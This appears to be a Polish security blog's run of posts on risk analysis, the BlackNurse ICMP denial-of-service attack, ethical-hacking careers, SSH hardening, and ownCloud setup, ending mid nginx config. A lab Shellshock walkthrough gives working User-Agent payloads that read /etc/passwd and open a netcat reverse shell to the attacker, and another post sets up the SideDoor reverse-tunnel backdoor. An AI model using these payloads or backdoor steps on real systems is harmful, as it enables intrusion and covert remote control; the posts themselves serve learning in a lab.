Publiczne raporty z testów penetracyjnych

0
Jeśli ktoś chciałby zobaczyć jak wygląda raport z testów penetracyjnych w internecie dostępny jest zbiór przykładowych pdf. Polecam tym, którzy dopiero zaczynają swoją przygodę z bezpieczeństwem IT 🙂

Analiza ryzyka IT – wstęp

0
Organizacje w sektorze publicznym jak i prywatnym polegają na IT, aby z powodzeniem osiągać wyznaczone cele. Systemy informatyczne są przedmiotem poważnych zagrożeń, które mogą mieć negatywny wpływ na organizacje. Dlatego konieczne jest, aby liderzy i menedżerowie wszystkich szczebli zrozumieli swoje obowiązki i odpowiedzialność za zarządzanie ryzykiem bezpieczeństwa informacji, to znaczy z ryzykiem związanym z eksploatacją i użytkowaniem systemów informatycznych wspierających misje i funkcje biznesowe.

Ocena ryzyka

Ocena ryzyka znana jest również jako analiza ryzyka, bądź kalkulacja ryzyka. W tym artykule nazwy te będę stosował zamiennie. Analiza ryzyka powinna być kojarzona z zagrożeniami, podatnościami, wpływem na biznes, czy z możliwością utraty informacji samej w sobie. Podatność (vulnerability) jest to słabość, która może być wykorzystana przez zagrożenie (threat). Każde ryzyko powinno zostać:
  • określone
  • opisane
  • ocenione pod kątem prawdopodobieństwa wysępienia
Najważniejsze jest myślenie „out of the box”. Konwencyjne zagrożenia i ryzyka są często zbyt ograniczone podczas rozważania oceny ryzyka. Szacować ryzyko możemy ilościowo (bazując na kosztach, obiektywnie) jak i jakościowo (bazując na opinii, subiektywnie).

Metoda jakościowa (qualitative)

W tym przypadku ryzyko (najczęściej bazując na tabeli) jest pokazywane jako jako niskie / średnie / wysokie / krytyczne.  Wyobraź sobie, że dostałeś zlecenie, aby pomóc firmie, o której wcześniej nie słyszałeś. Ich jedyny serwer uległ awarii pozostawiając ich backupy bezużytecznymi. Na (nie)szczęście na serwerze znajdywały się tylko zdjęcia pracowników robione od początku istnienia firmy. Strata plików nie zaburzyła marki firmy, nie doprowadziła do strat finansowych, ale była bolesna dla pracowników. W przypadku tego scenariusza wpływ (impact) był niski, ale prawdopodobieństwo (likelihood) było wysokie, ponieważ firma nie wykonywała kopii zapasowych. Po więcej odsyłam do OWASP Risk Rating Metodology

Metoda ilościowa (quantitative)

Ta sama firma miesiąc później ponownie miała awarie, ale tym razem straciła bazę z danymi klientów. Firma bez tych informacji nie może funkcjonować, dlatego dane muszą być odtworzone z archiwum fizycznego – ponownie wpisane do systemu komputerowego. Strata ta może być obliczona za pomocą wartości wyrażonej w pieniądzach i czasie, jakim zajęło wprowadzenie danych do nowej bazy. Przy metodzie ilościowej wartość ryzyka wyliczamy ze wzoru podanego poniżej.

Jak obliczać ryzyko?

Bardzo ważne jest prioretyzowanie zagrożeń. Część incydentów może mieć większe szanse na wystąpienie niż inne. Czasami zdarzyć się może, że firma niektóre ryzyka może zaakceptować (koszt zapobiegnięcia przewyższa potencjalną szkodę), a inne są katastroficzne w skutkach.

Obliczenia ryzyka

  • ALE, czyli annual loss expectancy. Wartość podawana jako ilość pieniędzy, jakie możemy potencjalnie stracić w ciągu roku.
  • SLE, również wartość pieniężna. Mówi nam ile możemy stracić jednorazowo. SLE (single loss expectancy) może zostać podzielone na dwa komponenty:
    • AV – asset value
    • EF – exposure factor
  • ARO – Annualized rate of accurance. Prawdopodobieństwo z jakim ryzyko występuje w ciągu roku.
Wzór: ALE = SLE * ARO

Przykład

Jesteśmy administratorem aplikacji internetowa, która przynosi firmie 10000 zł przychodu na godzinę. W ciągu roku prawdopodobieństwo, że serwer, na którym stoi aplikacja zostanie zepsuty wynosi 15%. Aby uruchomić drugi zapasowy serwer firma musi zapłacić 8000 zł i poczekać 2 godziny na wdrożenie go. SLE wynosi 28000 (10000zł * 2h + 8000 zł), ARO to 0,15. Więc ALE wynosi 4200zł (28000zł * 0,15).

Sposoby radzenia sobie z ryzykiem

Po zidentyfikowaniu i ocenieniu istnienia ryzyka mamy kilka możliwości, które możemy podjąć:
  • Unikanie ryzyka polega na zidentyfikowaniu zagrożenia i podjęciu decyzji, aby nie wykonywać czynności powiązanych z tym ryzykiem. Na przykład firma może zdecydować się na zablokowaniu dostępu do social mediów.
  • Ograniczenie ryzyka, czyli jak nazwa wskazuje staramy się ograniczyć ryzyko np. poprzez instalację oprogramowania antywirusowego, edukowanie pracowników, dodanie firewalla itp.
  • Odstraszanie polega na poinformowaniu otoczenia (potencjalnych napastników), że jeśli oni spowodują nam szkodę, to my odwdzięczymy się tym samym. Często jest to dokonywane poprzez umieszczanie informacji w panelu logowania (np. że każda próba zalogowania jest rejestrowana).
  • Przeniesienie ryzyka, czyli przeniesienie części ciężaru związanego z ryzykiem na kogoś innego, na przykład firmę ubezpieczeniową.
  • Akceptacja ryzyka. Czasami zdarza się, że koszt implementacji któregoś z powyższych rozwiązań przekracza wartość możliwej szkody. Musimy zdawać sobie sprawę z istnienia ryzyka i podjąć decyzję o jego dalszym istnieniu. Można to nazwać podejściem „nie rób nic”.
Bardzo ważne jest, aby nie przeinwestować w bezpieczeństwo. Należy odpowiednio ustalić budżet, aby nie był zbyt niski ani zbyt wysoki.

Black Nurse Attack, czyli jak jednym komputerem zdjąć serwer

1

Black Nurse 

Chwytliwa nazwa, prawda? Chciałbym uprzejmie uprzedzić przed wyszukiwaniem jej w internecie, ponieważ można natknąć się na sprośne filmy. Chociaż… każdy potrzebuje chwili relaksu. Wymyślił ją jeden z pracowników zespołu, który odkrył atak. Połączył on byłe zawody swoich współpracowników: jeden z członków był kowalem (blacksmith), a drugi pielęgniarzem (nurse).

Protokół ICMP

Wykorzystywany jest do diagnozowania działania sieci. Zwraca informacje o błędach oraz inne istotne informacje. Używa on typów i kodów. Zaimplementowanych jest 256 typów i 256 kodów.

DDoS

W dzisiejszych czasach, prawie każda firma ma w Internecie swoją stronę, czy sklep. Zespoły bezpieczeństwa starają się utrzymać usługi w sieci bezpieczne i stale dostępne. Do tego celu w infrastrukturze rozmieszczają firewalle, czyli zapory ogniowe oraz inne urządzenia podnoszące poziom bezpieczeństwa. Potrafią one w znacznym stopniu wyeliminować podstawowe typy ataków DDoS, takich jak „ping flood”, który jest dobrze znany atakującym. Polega on na zalaniu łącza internetowego pakietami ICMP Type 8, Code 0. Ale takie ataki wolumetryczne wymagają wysyłania kilku gigabitów danych na sekundę. Aby to osiągnąć trzeba wykorzystać wiele wektorów ataku. Jest to trudne do zrealizowania i wymaga sporych nakładów.

Dlaczego BlackNurse jest inny?

Jest on groźniejszy. Nie potrzebujesz botnetu składającego się z ogromnej ilości urządzeń (przykład: atak na Briana Krebsa z użyciem przejętych urządzeń IoT, którego maksymalną moc szacował na > 1.5Tbps), aby przeprowadzić skuteczny atak DDoS. Zwyczajnie taki DDoS opiera się na natężeniu ruchu pochodzącym od atakującego, ale badacze z TDC Security Operations Center odkryli kilka ataków „low-volume DDoS”. Wykorzystują one pakiety ICMP Type 3, Code 3. Atakującemu do spowodowania Denial of Service (DoS) wystarczy pojedynczy komputer i łącze o przepustowości 15-18 Mbit/s. Efekt? Przeciążenie CPU urządzenia sieciowego. Użytkownicy sieci nie będą w stanie wysyłać ani odbierać pakietów z/do Internetu.

Mitigacja

BlackNurse stanowi wektor ataku, jeśli akceptujemy pakiety ICMP na zewnętrznym interfejsie firewalla. Więc jedną z metod jest wyłączenie ICMP Type 3, Code 3 na interfejsie WAN.

PoC

https://github.com/opsxcq/exploit-blacknurse

Cisco Cybersecurity Scholarship Program

5
Cisco zainwestuje 10 milionów dolarów w utalentowanych ludzi poprzez Cisco Cybersecurity Scholarship Program. Co zyskują kandydaci? Jak widać rozszerzyli oni swoje portfolio o nową ścieżkę certyfikacyjną:

CCNA Cyber Ops

Będzie się on różnił od CCNA Security. Nowy kurs przygotowuje kandydatów do pracy jako analityk cyberbezpieczeństwa w SOC (Security Operations Center). Da on wiedzę jak wykryć cyberataki, monitorować systemy, zbierać i analizować dowody, korelować informacje oraz koordynować reakcję na incydenty.

Congratulations!

Zgłosiłem swoją kandydaturę, przeszedłem wszystkie testy no i udało się. Zakwalifikowałem się. Mam nadzieję, że będzie warto 😀 Linki:

Jak zostać hakerem?

12
Na potrzeby tego artykuły zapomnijmy o pejoratywnym znaczeniu słowa haker. Poprzez działanie mediów społeczność utożsamia hakera z kimś kto kradnie ich pieniądze, podmienia strony ich firm czy podgląda ich żonę przez kamerkę. Bycie ethical hackerem jak każdy inny zawód ma swoje plusy i minusy:

Minusy

Na początku chciałbym rozwiać wszelkie wątpliwości na temat ethical hackingu, przeprowadzania testów penetracyjnych itd. Nie jest to praca tak ekscytująca jak niektórym może się wydawać. Raporty, raporty, raporty… Musisz dokumentować dosłownie wszystko co robisz – cały przebieg testu. Bardzo często jest to praca nudna, która nie przynosi wymiernych efektów. Możemy poświęcić dziesiątki godzin i skończyć pracę sfrustrowanymi, bo nic nie znaleźliśmy. Musisz wskazać wszystkie obszary ryzyka, każdą możliwość złamania zabezpieczeń. To, że uda Ci się zdobyć roota nie znaczy, że test penetracyjny jest zakończony.

Plusy

Faktem jest, że praca ta potrafi być momentami niesamowicie ekscytująca. Da Ci ona możliwość zapoznania się z technologiami, których prawdopodobnie nigdy wcześniej być nie użył. Będziesz miał również styczność z systemami, których zwykły „śmiertelnik” nie pozna.
Rynek jest nienasycony, brakuje ogromnej ilości wykwalifikowanych ekspertów. Stanowiska te bardzo trudno zapełnić. Według raportu „Hacking the Skills Shortage” 15% stanowisk pozostanie nieobsadzonych nawet do 2020 roku. Czyli na brak pracy nie będziesz narzekał.
Oczywiście plusów jak i minusów jest dużo więcej, ja tylko wymieniłem kilka przykładowych.

Kariera w IT Security, czyli jak zostać hakerem

Jest to dziedzina dość nowa. Problemem jest brak ścieżki edukacji w szkołach średnich i na studiach, które pozwoliłby rozwijać się w kierunku bezpieczeństwa. Nie jest to też dziedzina prosta – wymaga ciągłego dokształcania się, pracy nad sobą. Dlatego najważniejsza jest Twoja chęć rozwoju, musisz zostać samoukiem. Do tego musisz być ambitny, lubić się uczyć i codziennie szukać nowych wyzwań. Jedni uczą się szybko, innym to przychodzi z trudnością. Dlatego znajdź złoty środek w postaci określonej ilości czasu w ciągu dnia na dodatkową naukę. Podkreślam, bycie pentesterem nie polega na umiejętności korzystania z gotowych narzędzi. To, że nauczysz się nimi posługiwać nawet do końca nie rozumiejąc ich działania nie sprawi, że będziesz w tej branży dobry. Na czym więc się skupić, aby rozpocząć swoją przygodę z bezpieczeństwem?

Sieci

Musisz rozumieć jak działają sieci i urządzenia sieciowe – jest to krytyczna kwestia. Jeśli jesteś w technikum informatycznym, albo na studiach sprawdź czy Twoja szkoła nie prowadzi kursów Akademii Cisco. Prawdopodobnie będzie to kurs darmowy (albo bardzo tani). Warto zrobić wtedy CCNA – świetny wstęp do sieci.

Systemy operacyjne

Musisz być bardzo dobry w przynajmniej jednym systemie operacyjnym, a najlepiej znać i rozumieć przynajmniej dwa – Linux/Windows. Zainstaluj w maszynie wirtualnej Linuxa (łatwo będzie przywrócić go do stanu sprzed awarii), albo jeśli chcesz – na dysku. Próbuj pracować na nim na co dzień. Kiedy będziesz z nim zaznajomiony zainteresuj się pentesterskim distro jakim jak Kali Linux. Jest to aktualnie najbardziej popularny system stworzony do przeprowadzania testów penetracyjnych.

Programowanie

Jest to zdecydowanie fundamentalna umiejętność. Z pomocą programowania haker / pentester może stworzyć swoje własne narzędzia. Bardzo ważne jest rozumienie jak dane narzędzie działa. Nie chodzi o to, aby zostać „scanner master”. Jeśli nie znasz jeszcze żadnego języka polecam Ci Pythona. Jest prosty oraz przejrzysty. Wokół niego skupiona jest ogromna społeczność co przekłada się na pokaźną liczbę dostępnych bibliotek. Z nim będziesz w stanie bardzo szybko napisać na przykład program automatyzujący pewne czynności. W zależności od specjalizacji w którą pójdziesz warto się nauczyć innego języka. Czyli dla przykładu jeśli będziesz chciał psuć aplikacje internetowe naucz się PHP, JS, SQL.

Język angielski

Musisz znać go bardzo dobrze. Większość szkoleń, książek, poradników tworzonych jest w języku angielskim. Do tego dochodzą dokumentacje, konieczność porozumiewania się z ludźmi z zagranicy. Jeśli na tym polu jesteś słabszy musisz poświęcić część swojego wolnego czasu na lekcję języka.

Czyli ucz się u podstaw

Ucz się dużo o wszystkim. Im więcej będziesz rozumiał tym łatwiej będzie Ci to „zepsuć”. Na początku nie próbuj powtarzać i wykonywać technik ataków. Wejdź pierw na poziom wiedzy, który pozwoli Ci zrozumieć jak działają te magiczne „hakierskie” narzędzia. Dopiero kiedy będziesz rozumiał jak działają oraz będziesz potrafił je poprawnie konfigurować zacznij ich używać. Oczywiście także będziesz tworzył własne. No dobra, więc w takim razie gdzie szukać wiedzy?
Pamiętaj, aby wyszukiwać i uczyć się z materiałów anglojęzycznych.

Studia

Zdobędziesz na nich ogólną wiedzę. Nauczysz się pewnych podstaw, będziesz musiał opanować materiał, którego prawdopodobnie nigdy byś nie tknął. Kto wie, może przyjdzie pewien moment w Twoim życiu, przyszłej pracy, że Ci się to przyda.

Książki

Jeśli lubisz mieć wiedzę przed sobą na papierze książki to świetna opcja. Osobiście trochę ich mam. img_6216

Kursy online, filmy, tutoriale

W internecie znajdziesz ogrom materiałów szkoleniowych, z których nauczysz się bazy podstawowych umiejętności (sieci, programowanie itd.) oraz samych technik przełamywania zabezpieczeń. Kilka przykładowych: Problemem jest, że często darmowe materiały w internecie są kiepskiej jakości, a te płatne są dość drogie. Jeśli jesteś w stanie uzbierać wystarczającą ilość pieniędzy na jakiś kurs, albo Twój obecny pracodawca Ci jest w stanie za niego zapłacić – warto skorzystać. Chodzi o Twój rozwój zawodowy, prawda?

Konferencje

Jest to naprawdę niesamowita opcja do nawiązania znajomości, zdobycia cennego doświadczenia, porozmawiania z ludźmi, którzy wiele osiągnęli w branży. Swoją pierwszą konferencję Secure 2016 wspominam bardzo dobrze. Jeśli jesteś uczniem / studentem prawdopodobnie będziesz mógł wejść na konferencję za darmo / za bardzo małą opłatą.

Szkolenia

Zazwyczaj parodniowe, nieraz kosztujące kilka tysięcy złotych. Tak jak w przypadku konferencji, jeśli jesteś studentem prawdopodobnie dostaniesz spory rabat na takie szkolenie.

Metodologia

Naucz się metodologii przeprowadzania testów penetracyjnych. Nie ma potrzeby wymyślania koła na nowo. Przykładowe:
  • Penetration Testing Execution Standard (PTES)
  • Open Source Security Testing Methodology Manual (OSSTMM)
  • OWASP Testing Guide

Grupy

Warto znaleźć lokalną społeczność pasjonatów w swoim mieście i chodzić na spotkania. Możesz tam wymienić doświadczenia czy nawiązać nowe znajomości. We Wrocławiu znajdziesz grupę Technology Risk & Information Security Wroclaw.

Black vs White

Musisz się określić, po której stronie barykady staniesz. Nie ma czegoś takiego jak hakowanie w celach edukacyjnych. To, że poinformujesz właściciela o błędzie nie sprawi, że będziesz niewinny. Chociaż ostatnio pojawił się cień szansy na zmianę tego przepisu.
Szukanie dziur w systemach IT w Polsce nie zawsze będzie karane. Minister cyfryzacji proponuje zmiany
Pamiętaj, że hakowanie w Polsce jest nielegalne. Art. 267. Kodeksu Karnego mówi jasno:
§ 1. Kto bez uprawnienia uzyskuje dostęp do informacji dla niego nieprzeznaczonej, otwierając zamknięte pismo, podłączając się do sieci telekomunikacyjnej lub przełamując albo omijając elektroniczne, magnetyczne, informatyczne lub inne szczególne jej zabezpieczenie, podlega grzywnie, karze ograniczenia wolności albo pozbawienia wolności do lat 2.
Jeśli będziesz osobą karaną możesz mieć problemy później ze znalezieniem pracy. Banki oraz instytucje rządowe wymagają zaświadczenia o niekaralności. whiteblack

Jak legalnie hakować?

Mam nadzieję, że zdajesz sobie sprawę, że za złamanie przepisów idzie się siedzieć?

Bug Bounty

Zainteresuj się programami wyszukiwania bugów. Bardzo często możesz na nich zarobić.

Wargames

Na przykład Natas, świetna opcja na początek. Zainteresuj się również WeChall. Łączy ona strony tego typu i pozwala zbierać punkty pnąc się w rankingu.

CTF

Bierz udział w wydarzeniach Capture The Flag (co to jest CTF: link1, link2). Zerknij na serwis zbierający informację o nadchodzących i aktualnych eventach.

Laby

Przygotuj sobie podatną sieć i na niej sprawdzaj narzędzia oraz techniki przełamywania zabezpieczeń. Polecam gotowe rozwiązania takie jak

Jak zostać hakerem komputerowym w dwa dni za darmo

11 Oczywiście nie da się zostać dobrym w tym zawodzie bez lat ciężkiej pracy, ciągłej edukacji, wielu zarwanych nocy. Nie daj się nabrać na takie zagrywki; chodzi tylko o Twoje pieniądze. Swoją drogą… Wiecie, że jestem najmłodszym uczestnikiem Szkoły Hakerów?

Praca

Jak zostać pentesterem? Odpowiada 21 polskich fachowców z branży
W artykule na Z3S znajdziesz 21 porad od ludzi z branży. Piszą oni, że idealnym materiałem na pentestera jest były administrator, bądź programista. Dlatego może warto na początku zatrudnić się jako programista, DevOps, SysOps czy sieciowiec? Dzięki temu podszkolisz swoje bazowe umiejętności. Patrząc na ogłoszenia o pracę widać tendencje do szukania przez firmy tylko doświadczonych kandydatów. Wyżej napisałem, jak możesz legalnie uczyć się przełamywać zabezpieczenia. Kiedy już opanujesz podstawowe umiejętności czas na

Staż

Kiedy poczujesz, że jesteś już na poziomie, na którym coś potrafisz poszukaj firmy w swoim mieście, która przyjmie Cię na staż. Nie ma różnicy czy jest płatny czy bezpłatny. Na stażu zobaczysz jak wygląda prawdziwa praca pentestera. Bardzo ciężko dostać pierwszą pracę w IT Security bez doświadczenia, dlatego taka praktyka to świetna opcja. Jeżeli jesteś na studiach, albo w technikum będziesz musiał odbyć praktyki. W przypadku szkoły średniej trwają one miesiąc. Zamiast iść do zakładu, który wyznaczy Ci szkoła znajdź w swoim mieście firmę związaną z bezpieczeństwem.

Certyfikacja

Jeśli nie masz doświadczenia, jesteś na/po/bez studiów to certyfikaty są bardzo sensowną opcją. Po pierwsze pracodawca widzi, że Ci zależy oraz jesteś ambitny. Po drugie udowadniają one, że jednak coś potrafisz. Certyfikaty warte uwagi (kolejność losowa):
  • OSCP: Offensive Security Certified Professional
  • OSCE: Offensive Security Certified Expert
  • OSWP: Offensive Security Wireless Professional 
  • OSWE: Offensive Security Web Expert
  • CompTIA Security +
  • CEH: Certified Ethical Hacker
  • GSEC: SANS GIAC Security Essentials
  • CISSP: Certified Information Systems Security Professional
  • CISM: Certified Information Security Manager
  • CISCO CCNA / CCNA Security / CCNP / CCNP Security
Na studiach i w technikach bardzo często działa Akademia Cisco, w której będziesz mógł (zazwyczaj) za darmo przerobić kurs CCNA / CCNA Security. Ja w technikum miałem taką możliwość i naprawdę warto z takiej okazji skorzystać.

Nie poddawaj się

Najważniejsza jest praktyka. Badaj systemy, ucz się ich, zrozum jak działają, a później je psuj. Naucz się ciekawości, nie narzędzi. Pamiętaj, żeby się nie poddawać. Jeśli ciąglę będziesz próbował – w końcu do czegoś dojdziesz. To odróżnia zwycięzców od przegranych. offsec-say-tryharder-798x284

Zabezpieczenie serwera SSH

3

Łączenie się z serwerem za pomocą protokołu SSH

Bezpieczny dostęp do serwera zapewnia nam protokół SSH. Jest to następca protokołu telnet, który oferuje szyfrowanie. Autoryzacja za pomocą klucza jest dużo bezpieczniejsza niż w przypadku korzystania z haseł. Całkowicie wyklucza to ataki brute-force. Zaczniemy od wygenerowania pary kluczy: prywatnego i publicznego. Klucz publiczny umieścimy na serwerze, a za pomocą klucza prywatnego będziemy się logować. Administrować serwerem będziemy mogli tylko z tego komputera, który posiada klucz prywatny. Dodatkowo możemy zabezpieczyć klucz prywatny hasłem.

Generowanie klucza SSH

Wygenerujmy 4096 bitowy klucz, który jest silniejszy, niż standardowy 2048 bitowy.
ssh-keygen -t rsa -b 4096
Zostaniesz poproszony o podanie hasła (koniecznie silne) i ścieżki, gdzie klucz ma zostać wygenerowany.

Dodanie klucza na serwerze

Wchodzimy do katalogu domowego (bądź miejsca, gdzie wygenerowałeś klucz)
cd /home/atastycookie/.ssh/
Kopiujemy plik klucza publicznego na serwer (ten z końcówką .pub)
ssh-copy-id -i klucz konto@serwer

putty

Aby korzystać z klucza wygenerowanego za pomocą ssh-keygen w programie putty musimy skonwertować klucz za pomocą puTTYgen. Otwórz puTTYgen, wciśnij Conversions następnie Import key i wskaż mu lokalizację pliku klucza prywatnego. Zostaniesz poproszony o podanie hasła. Następnie wciśnij Save private key i gotowe. Możesz również wygenerować klucz w programie putty. Po prostu wciśnij Generate, poczekaj na wygenerowanie klucza, nadaj mu hasło i go zapisz.

Jak zalogować się na serwer przez SSH z użyciem klucza?

W zależności od sytemu, z którego korzystasz na co dzień masz następujące możliwości:

Linux

W terminalu wpisz
ssh -i klucz konto@serwer

putty

Aby połączyć się z serwerem otwórz program, następnie w Connection -> SSH -> Auth podaj lokalizację klucza prywatnego, który chwilę temu zapisałeś. Później w Session w polu hostname podaj ip serwera (bądź domenę) i port. W Connection -> Data wpisz nazwę konta. Warto zapisać sesję, aby nie musieć ponownie jej konfigurować.

Błąd

Jeśli po dodaniu nowego klucza nie możesz się połączyć i widzisz ten błąd Agent admitted failure to sign using the key. Wystarczy, że wpiszesz w terminalu
ssh-add
Jeśli Twój klucz ma inną nazwę, bądź ścieżkę wtedy wpisz
ssh-add /sciezka/do/klucza/klucz

Zabezpieczenie serwera SSH

Wszystkie zmiany będziemy przeprowadzać w pliku sshd_config
nano /etc/ssh/sshd_config

Wyłączenie możliwości zalogowania za pomocą hasła

Znajdź linjkę
#PasswordAuthentication yes
Zmień ją na
PasswordAuthentication no

Protokół

Zmień wersję protokołu na 2, która jest bezpieczna
Protocol 2

 Zmiana portu

Domyślnie łączymy się z serwerem za pomocą portu 22. Większość skanerów sieciowych domyślnie skanuje na portach do 1024. Dlatego zmieńmy port na dużo wyższy. Znajdź linijkę
Port 22

I zmień ją na np.

Port 6123

Określeni użytkownicy

Warto ograniczyć możliwość logowania się tylko dla konkretnych grup i kont
Przyznanie dostępu
AllowUsers konto1 konto2
AllowGroups grupa1 grupa2
Zablokowanie dostępu
DenyUsers konto1 konto2
DenyGroups grupa1 grupa2

Restart

Zapisz zmiany w pliku i zrestartuj usługę
service ssh restart

PentesterLab – CVE-2014-6271/Shellshock

0
shellshock

Działanie

Shellshock korzysta z nagłówków HTTP jak i innych mechanizmów, aby umożliwić nieautoryzowany dostęp do powłoki systemowej bash. Pozwala to atakującemu na zdalne wykonywanie komend. Jest to podatność arbitrary code execution.
Nie będę tutaj opisywał jak skonfigurować przeglądarkę, BurpSuite czy Kali Linuxa. Zakładam, że masz już podstawową wiedzę na ten temat. W internecie znajdziesz niezliczoną ilość poradników jak przygotować sobie środowisko. Stronę zadania znajdziesz tutaj. Pobierz obraz podatnego systemu i uruchom go np. za pomocą VMWare czy VirtualBox. [download id=”2″] Po uruchomieniu systemu operacyjnego naszego celu sprawdź jego adres IP
ifconfig
W moim przypadku jest to 192.168.255.131 cve

 Nikto

Uruchom skaner podatności Nikto
nikto -h http://192.168.255.131/
Jak widzimy wykrył on podatność shellshock. nikto

BurpSuite

Za pomocą BurpSuite przechwyć żądanie do naszego celu otwierając w przeglądarce podatną stronę. burp Wciśnij Action a następnie Send to Repeater. W linijce User-Agent zamień aktualną zawartość na
User-Agent: () { :; }; /bin/bash -c 'ping -c 2 192.168.255.150'
gdzie 192.168.255.150 to nasz adres IP.
 () { :; } - exploit
 /bin/bash - powłoka basha
 ping -c 2 192.168.255.150 - wysłanie dwóch komunikatów ICMP na naszą maszynę
  burp2   Otwórz konsolę i włącz nasłuchiwanie, aby wykryć pingi
tcpdump -i eth0 -n icmp
Wyślij żądanie wciskając przycisk Go i obserwuj komunikaty w konsoli. Jak widzimy udało nam się zmusić cel do wysłania pingów na maszynę atakującego. burp3 Spróbujmy zrobić coś groźniejszego niż pingowanie (chociaż nie lekceważ pingu, można go wykorzystać do ataku DoS / DDoS). Wyświetlmy zawartość pliku /etc/passwd. Zmodyfikujmy ponownie linijkę z identyfikatorem przeglądarki
User-Agent: () { :; }; /bin/bash -c 'ping -c 2 192.168.255.130; cat /etc/passwd; whoami'

shellshock2

Reverse Shellshock

Na maszynie atakującego uruchom nasłuchiwanie na porcie 1234
nc -lvp 1234
W Burpie zmodyfikuj nagłówek aby serwer połączył się z atakującym na porcie 1234
User-Agent: () { :; }; /bin/bash -c 'nc 192.168.255.130 1234 -e /bin/sh'
burp5 Nie mieliśmy z góry ustalonego celu w postaci na przykład zdobycia flagi więc można w tym momencie uznać zadanie za zakończone.

Jak stworzyć backdoora z użyciem SideDoor

0

NAT

Nie ma wystarczająco dużo adresów publicznych IPv4, aby móc przypisać unikalny adres do każdego urządzenia połączonego z internetem. Sieci są zazwyczaj tworzone z użyciem prywatnych adresów IPv4. Adresy prywatne umożliwiają komunikację lokalnie, nie są one routowane poza siecią wewnętrzną. Aby umożliwić urządzeniu z adresem prywatnym dostęp do internetu, musi on zostać przetłumaczony na adres publiczny. NAT to umożliwia. sss Wynika z tego, że z zewnątrz nie możemy połączyć się z urządzeniem wewnątrz sieci prywatnej. Z pomocą przychodzi nam SideDoor. Tworzy on odwrotny tunel, aby utrzymać połączenie z zainfekowaną maszyną (ang. backdoor – tylne drzwi). Pozwala on na zdalną kontrolę urządzenia za NATem.

Instalacja

Instalujemy potrzebne opgramowanie
apt-get install debhelper dh-systemd
Kopiujemy reprezytorium
git clone https://github.com/daradib/sidedoor
Wchodzimy do folderu
cd sidedoor
Budujemy i instalujemy opgramowanie
dpkg-buildpackage -us -uc -b
sudo dpkg -i ../sidedoor*.deb

Konfiguracja

Zdalny serwer i port tunelu są skonfigurowane w
/etc/default/sidedoor
Pliki konfiguracji SSH znajduja się w
/etc/sidedoor
  • authorized_keys: publiczne klucze SSH do kontroli dostępu dla lokalnego użytkownika sidedoor.
  • id_rsa: prywatne klucze SSH, aby uzyskać dostęp do zdalnego serwera. Poniżej znajdziesz informację jak je wygenerować.
  • known_hosts: odcisk klucza SSH zdalnego serwera
  • config (opcjonalnie): dodatkowa konfiguracja SSH, więcej informacji znajdziesz w man ssh_config
Zrestartuj sidedoor, aby zatwierdzić zmiany
service sidedoor restart

Generowanie prywatnego klucza SSH

Możesz wygenerować klucze korzystając z komendy
ssh-keygen -t rsa -f /etc/sidedoor/id_rsa
Wciśnij enter, kiedy zostaniesz poproszony o wpisanie hasła, aby zostawić je puste. Wymaga uprawnień odczytu przez użytkownika sidedoor, bądź grupę
chown root:sidedoor /etc/sidedoor/id_rsa
chmod 640 /etc/sidedoor/id_rsa
Klucz publiczny id_rsa.pub musi być zawarty u użytkownika zdalnego w pliku ~/.ssh/authorized_keys

Jadę na Secure 2016!

0
Dzięki uprzejmości organizatorów otrzymałem wejściówkę na Secure 2016. Cytując informacje ze strony wydarzenia:
Konferencja SECURE to wydarzenie, które ma swoje stałe miejsce w kalendarzu najważnieszych imprez związanych z tematyką bezpieczeństwa teleinformatycznego. Konferencja odbywa się zawsze w październiku danego roku, a od pierwszej edycji w 1996 r. jej organizatorami są NASK i działający w jego strukturacj zespół CERT Polska. Wydarzenie adresowane jest do administratorów, członków zespołów bezpieczeństwa oraz praktyków z tej dziedziny. SECURE to: – eksperci z całego świata, – gorące tematy i najnowsze rozwiązania, – skuteczny międzynarodowy networking. Konferencja SECURE stanowi wyjątkową okazję, aby posłuchać czołowych ekspertów z dziedziny bezpieczeństwa z Polski i całego świata. Obecni będą m.in. Ryan Pittman, David Jacoby, Inbar Raz, Brian Honan, Claus Houmann, Filip Reesalu. Nasza konferencja to także dostęp do najnowszej wiedzy o zagrożeniach i aktualnych trendach w bezpieczeństwie, a także forum wymiany doświadczeń.

Instalacja ownCloud na serwerze – Linux Debian

0
Wielu z nas korzysta z rozwiązań popularnych dostawców takich jak Dropbox czy Google Drive. Ale czy nie warto byłoby mieć własnej chmury na swoim serwerze? Dostęp do plików możliwy jest poprzez aplikację mobilną, protokół WebDAV, aplikacje na komputer czy przeglądarkę internetową. Rozwiązanie openCloud pozwala nam na zaawansowane ustawienia udostępniania dla użytkowników, grup, poprzez link czy łącząc się z innymi instancjami. Jeśli zależy nam na prywatności naszych danych możemy pliki zaszyfrować na serwerze. Więcej informacji o projekcie znajdziesz tutaj. Mając gotowe środowisko LEMP zainstalujemy i skonfigurujemy ownCloud, a dodatkowo zabezpieczymy ją certyfikatem SSL. W moim przypadku dostęp do chmury będzie możliwy przez subdomenę. Dla przykładu stworzyłem chmura.shinsec.pl i wygenerowałem dla niej certyfikat SSL.

 PHP

Doinstaluj moduły, jeśli ich nie posiadasz
apt-get install php5-gd php5-json php5-mysqlnd php5-curl php5-intl php5-mcrypt php5-imagick

MySQL

Logujemy się.
mysql -u root -p

Tworzymy bazę danych

CREATE DATABASE chmura;

Teraz stwórzmy oddzielne konto użytkownika i nadajmy mu odpowiednie uprawnienia:

GRANT ALL ON chmura.* TO 'chmurauser'@'localhost' IDENTIFIED BY 'sUp#rs1ln#h@sL0';
Ostatnie polecenie
FLUSH PRIVILEGES;
Wychodzimy
exit;

ownCloud

Stwórz foldery
cd /var/www
mkdir chmura
cd chmura
mkdir logs public data
Pobierz pliki instalacyjne z oficjalnej strony
wget https://download.owncloud.org/community/owncloud-9.1.1.zip
Wypakuj
unzip owncloud-9.1.1.zip
Przenieś pliki instalacyjne do folderu public
cp -R owncloud/* /var/www/chmura/public/
Zmień właściciela
chown -R www-data:www-data /var/www/chmura

nginx

Wejdź do folderu sites-enabled
cd /etc/nginx/sites-enabled/
Stwórz nowy server block
nano chmura
I wklej do niego konfigurację zalecaną przez ownCloud odpowiednio zmieniając wartości na swoje
server {
 listen 80;
 server_name chmura.shinsec.pl www.chmura.shinsec.pl;
 return 301 https://chmura.shinsec.pl$request_uri;
}

server {
 listen 443 ssl;
 server_name chmura.shinsec.pl;

 root /var/www/chmura/public;

 access_log /var/www/chmura/logs/access.log;
 error_log /var/www/chmura/logs/error.log;

 ssl on;
 ssl_certificate /etc/letsencrypt/live/chmura.shinsec.pl/fullchain.pem;
